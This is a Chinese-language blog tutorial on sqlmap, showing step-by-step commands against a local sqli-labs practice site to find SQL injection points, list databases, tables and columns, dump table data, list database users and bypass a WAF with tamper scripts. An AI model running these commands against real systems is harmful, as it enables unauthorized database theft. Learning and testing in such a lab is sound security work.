首页 > 数据库 >sqlmap详细使用

sqlmap详细使用

时间:2024-12-01 14:29:28浏览次数:7  
标签:sqlmap http Less -- labs sqli 详细 使用 id

SQLmap使用详解

image_20241130135918A590.png

SQLmap(常规)使用步骤

1、查询注入点

  python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

image_20241130140900A591.png


2、查询所有数据库

  python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs

image_20241130140930A592.png


3、查询当前数据库

  python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db

image_20241130141211A593.png


4、查表

  python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx --tables

image_20241130141307A594.png


5、查列

  python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --columns

image_20241130141405A595.png


6、查数据

  python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --dump

image_20241130141459A597.png

目标

指定URL

  sqlmap -u "http://www.xxxx.com/vuln.php?id=1" --batch特指一个url
--batch  自动选yes

指定文件

  sqlmap -m url.txt  #批量url注入扫描

POST请求

  sqlmap -r ab.txt --data=DATA
--data=DATA 指定参数注入 例如:例:-u "xxx?id=1" --data="name=1&pass=2"

level

指需要执行的测试等级,一共有5个等级(1~5)

  • level 1:默认的 level 等级,会测试 GET 和 POST 请求中的参数。
  • level 2:加上level1,还会检查 cookie 里的数据。
  • level 3:加上level2,还user-agent 和 referer 头部也纳入检测范围。
  • level 4~5:加上前几个,会尝试各种 payloads,放过任何潜在的注入点。

脱库

获取数据库

   --dbs 获取数据库
Sqlmap-u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
 --current-db 获取当前数据库
Sqlmap-u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db

获取表

   Sqlmap-u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D 'security' --tables
 Sqlmap  -u 'http://127.0.0.1/sqli-labs/Less-1/?id=1 -D 'security,mysql' --tables 获取多个数据库的表

获取字段
–columns 获取字段

 Sqlmap -u 'http://127.0.0.1/sqli-labs/Less-1/?id=1 -D 'security' -T 'user' --columns 

获取数据

–dump 表中的数据,可以指定具体的库,表,字段,只指定库名可获取库中所有表的数据

 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D 'securit'-T 'user' --dump

获取用户

–current-user 获取当前登录数据库的用户名

  Sqlmap -u 'http://127.0.0.1/sqli-labs/Less-1/?id=1 --batch   --current-user

image_20241130145528A598.png


–user 获取数据库的所有用户名

  sqlmap  -u http://sqli:8001/Less-2/?id=1 --batch --users

image_20241130145753A599.png

WAF绕过

Sqlmap -u http://sqli:8001/Less-2/?id=1 --tamper ‘xxx.py’#添对应的加密脚本

image_20241130150004A600.png

标签:sqlmap,http,Less,--,labs,sqli,详细,使用,id
From: https://blog.csdn.net/qq_52333044/article/details/144168108

相关文章

  • Javascript遍历目录时使用for..in循环无法获取Files对象和SubFolders对象问题的解决方
      1Javascript遍历目录时使用for..in循环无法获取Files对象和SubFolders对象1.1问题场景  在JavaScript中遍历目录,使用for..in循环时,无法获取到Files对象和SubFolders对象,导致无法遍历目录和子目录。  代码如下:functionGetAllFilesInSubFolder(path,filter)......
  • C#使用虚方法求一个圆的面积和周长
    //定义一个父类的虚方法publicabstractclassPerson{publicabstractdoubleGetArea();publicabstractdoubleGetPrimeter();}//继承虚方法父类的子类publicclassCircle:Person{privatedouble_r;publicdoubleR{get{return_r;}......
  • Seata使用Apollo作为配置中心
    预备工作​当您将apollo-client整合到您的Seata工程之前,请确保后台已经启动Apollo服务。如果您尚且不熟悉Apollo的基本使用的话,可先行参考 Apollo快速入门。建议使用Apollo 1.6.0 及以上的版本。快速上手​Seata融合Apollo配置中心的操作步骤非常简单,大致步骤......
  • linux 软连接使用
    转载请注明出处:在Linux系统中,软连接(SymbolicLink)是一种特殊类型的文件链接,类似于Windows系统中的快捷方式。它允许用户通过一个文件路径访问另一个文件或目录,而不需要拥有原始文件或目录的实际拷贝。软连接是通过文件名来引用文件或目录,而不是通过它们的物理位置来引用。一......
  • indexedDB的具体使用方法
    IndexedDB简介IndexedDB是浏览器提供的一种本地存储解决方案,用于存储大量的结构化数据。它支持异步操作,允许你存储对象、数组、甚至是二进制数据,并为它们提供索引以提高查询效率。它的设计目的是用于处理大规模数据存储,适合离线应用和大数据处理。IndexedDB的特点存储大数据:......
  • SQLalchemy中Query对象使用
    SQLAlchemy中Query对象的使用前言一、表结构的声明和数据的插入二、使用1.过滤,分组,排序的使用1.1过滤(filter)使用1.2分组(group_by)的使用1.3排序(order_by)的使用2.去重,合并的使用2.1去重(distinct)2.2合并3.连接4.切片,分页。5.快捷方式总结前言Query对象是S......
  • 使用python构造含有时间序列与对应的乘客数量
    在Python中,你可以使用`pandas`库来构造一个含有时间序列与对应乘客数量的数据结构。`pandas`提供了非常方便的`DatetimeIndex`来处理时间序列数据。要构造一个含有时间序列与对应乘客数量的数据集,可以使用Python的pandas库。下面是一个示例代码:importpandasaspd#创建......
  • 使用PDF补丁丁迁移PDF文档的书签
    近日有网友问如何将一个PDF文档的书签迁移到另一个文档。情况简述他有一个扫描书籍生成的旧文档,已经做好了书签,但扫描分辨率比较低,后来获得了该书籍的高分辨率扫描文档,想把旧文档的书签导入到新文档中。旧文档在PDF补丁丁上如下图所示:新文档和旧文档都是同一本书,大体相同,只是......
  • git的初步使用
    1.首先需要安装git,我使用环境:wslubuntu20中自带。2.在需要上传的代码项目文件夹下首先初始化git仓库,同时在git上新建同名仓库。gitinit3.将文件添加到Git的暂存区(stagingarea):gitadd .(点表示当前目录) 或者添加特定文件:gitadd<file>4.将暂存区的更改提交到本地仓......
  • spring的注解开发-事务@transactional的使用
    新建maven项目pom<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http......